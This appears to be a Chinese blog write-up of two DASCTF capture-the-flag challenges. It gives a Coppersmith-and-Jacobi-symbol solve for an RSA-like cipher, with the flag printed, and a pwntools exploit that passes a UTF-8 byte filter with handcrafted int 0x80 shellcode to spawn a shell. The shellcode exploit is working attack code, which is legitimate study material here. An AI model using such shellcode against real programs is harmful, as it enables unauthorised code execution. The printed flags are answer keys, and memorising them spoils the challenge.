数论的气氛
就会一个,是退步了还是太难了。
远看是个RSA,近看不是,只用的分解n
from sympy import isprime
from sympy.ntheory import legendre_symbol
import random
from Crypto.Util.number import bytes_to_long
k=79 #<-- i couldn't stress more
def get_p():
global k
while True:
r=random.randint(2**69,2**70)
p=2**k*r+1
if isprime(p):
return p
else:
continue
def get_q():
while True:
r=random.randint(2**147,2**148)
q=4*r+3
if isprime(q):
return q
else:
continue
def get_y():
global n,p,q
while True:
y=random.randint(0,n-1)
if legendre_symbol(y,p)==1:
continue
elif legendre_symbol(y,q)==1:
continue
else:
return y
flag=b'DASCTF{redacted:)}'
flag_pieces=[flag[0:10],flag[11:21],flag[22:32],flag[33:43],flag[44:]]
#assert int(bytes_to_long((flag_pieces[i] for i in range(5)))).bit_length()==k
p=get_p()
q=get_q()
n=p*q
print(f'{n=}')
y=get_y()
print(f'{y=}')
def encode(m):
global y,n,k
x = random.randint(1, n - 1)
c=(pow(y,m,n)*pow(x,pow(2,k),n))%n
return c
cs=[]
for i in range(len(flag_pieces)):
ci=encode(bytes_to_long(flag_pieces[i]))
cs.append(ci)
print(f'{cs=}')
'''
n=542799179636839492268900255776759322356188435185061417388485378278779491236741777034539347
y=304439269593920283890993394966761083993573819485737741439790516965458877720153847056020690
cs=[302425991290493703631236053387822220993687940015503176763298104925896002167283079926671604, 439984254328026142169547867847928383533091717170996198781543139431283836994276036750935235, 373508223748617252014658136131733110314734961216630099592116517373981480752966721942060039, 246328010831179104162852852153964748882971698116964204135222670606477985487691371234998588, 351248523787623958259846173184063420603640595997008994436503031978051069643436052471484545]
'''
先是生成p,q其中p = 2**k*r + 1 这个r只有70位,一下coopersmith就行。
###################1, coppersmith求p p = 2^79*x + 1
k = 79
P.<x> = PolynomialRing(Zmod(n))
f = 2^k*x + 1
res = f.monic().small_roots(X=2^70, beta=0.499, epsilon=0.02)
#[1040145546891496498175]
p = int(f(res[0]))
#628729403897154553626034231171921094272614401
然后是生成y这个y对p,q都不是二次剩余(拉格朗日符号不为1)
把flag分成5块每块10字节(79位,与k相同)
c = y^m * rand^(2^k) % n
这里边由于y对p不是二次剩余,那么如果m为奇数c就不是二次剩余,如果是偶数就是,可以用jacobi符号判断。
然后如果是奇数就除去y再开根号。而后边的rand^(2^k)保证开足够的根号(79)依然是二次剩余
这里有两个小坑,虽然c是模n的,但jacobi符号需要用素数运算,所以这里只能用一个因子来计算。第2是开根号有两个根,需要递归遍历下。
###################2, 二次剩余 求m
#每段flag只有79位, c = y^m * rand^(2*79)
#如果对p是二次剩余 m为0,c开根号 c2 = y^(m //2)*rand^(2^78)
#否则m为1,c/y再开根号 c2 = y^((m-1)//2)*rand^(2^78)
from gmpy2 import jacobi,invert
def rabin(c):
P.<x> = PolynomialRing(GF(p))
f1 = x^2 - c
resp = f1.roots()
return [int(i[0]) for i in resp]
def getm(c,m):
global ok,flag
if ok: return
#print('Try:',c,m)
if len(m)>=k:
print('OK',m, long_to_bytes(int(m,2)))
flag += long_to_bytes(int(m,2))
ok = True
return
if jacobi(c, p) == -1:
m = '1'+m
c = int(c*invert(y,p)%p)
else:
m = '0'+m
cs = rabin(c)
for tc in cs:
getm(int(tc),m)
flag = b''
for tc in cs:
ok = False
getm(tc,'')
print(flag)
#DASCTF{go0_j06!let1sm0v31n_t0_th3r_chanlenges~>_<}
ez_shellcode
这题一直没什么想法,今天突然想到一件事,很快就完成了。
用c++写的一个执行shellcode的程序,代码比较难看,大概流程如下:
1,输入代码
2,检查 0,2,4..的奇数位为utf-8字符的0x80-0x7ff间 1,3,5...的偶数位为0-0x7f的acsii字符
3,调用3次cin不清楚为啥感觉没啥用,反正返回都是0作为1参2参3参,测试都是0,不清楚输啥能得到参数。感觉是专门为了清寄存器的。
难点在于奇数位只能是Cx8x,DxBx,也就是第1字节110开头第2字节10开头。找到空白跳但1个字符整不出来syscall。
突然想到有一个人写的shell绕过用的int 0x80的32位调用,在64位系统里是可以直接用32位的调用的。而参数用xor eax,eax这种都是1+Cx这种后边补个nop(0x90)就OK了,而调用用int 0x80也不用异或。
32位的调用参数使用ebx,ecx,edx,中断号eax,奇跳用leave;nop这里的leave只能用一次,好在它本身有个链,如果没有就得用xlatb这个会破坏al,好在只用开头用一次。后边在偶数位随便弄个push就行。
在调试的时候发现,输入的数据会少第1个字符,不明白怎么回事,随便补一个。
没有远程环境了,本地也可能有小出入,但应该不大。
from pwn import *
context(arch='amd64', log_level='debug')
p = process('./ez_shellcode')
#gdb.attach(p, 'b*0x5555555578e0\nc')
#奇数位只允许utf8字符[0x80,0x7ff]偶数位只允许[0,0x7f]
#用int 0x80 的32位调用
shellcode = '''
leave;nop;
xor al,0xc7;nop;
xor edx,eax;nop;
xor al,0xc4;nop; /* eax=sys_read=3, edx=0xc7*/
xor ecx,ecx;nop;
xor ecx,ebx;nop; /* ecx=buf */
xor ebx,ecx;nop; /* ebx=0 */
push rax;
int 0x80 /* read(0,buf,0xc7) */
'''
b = asm(shellcode)
print([hex(ord(i)) for i in b.decode()])
p.sendlineafter(b"What is your lucky number?\n", b'1'+b) #输入会吃掉一位
p.sendafter(b'Leave to fate...\n',b'\n\n\n')
sleep(0.5)
p.send(b'\x90'*0x20+asm(shellcraft.sh()))
p.interactive()
1093

被折叠的 条评论
为什么被折叠?



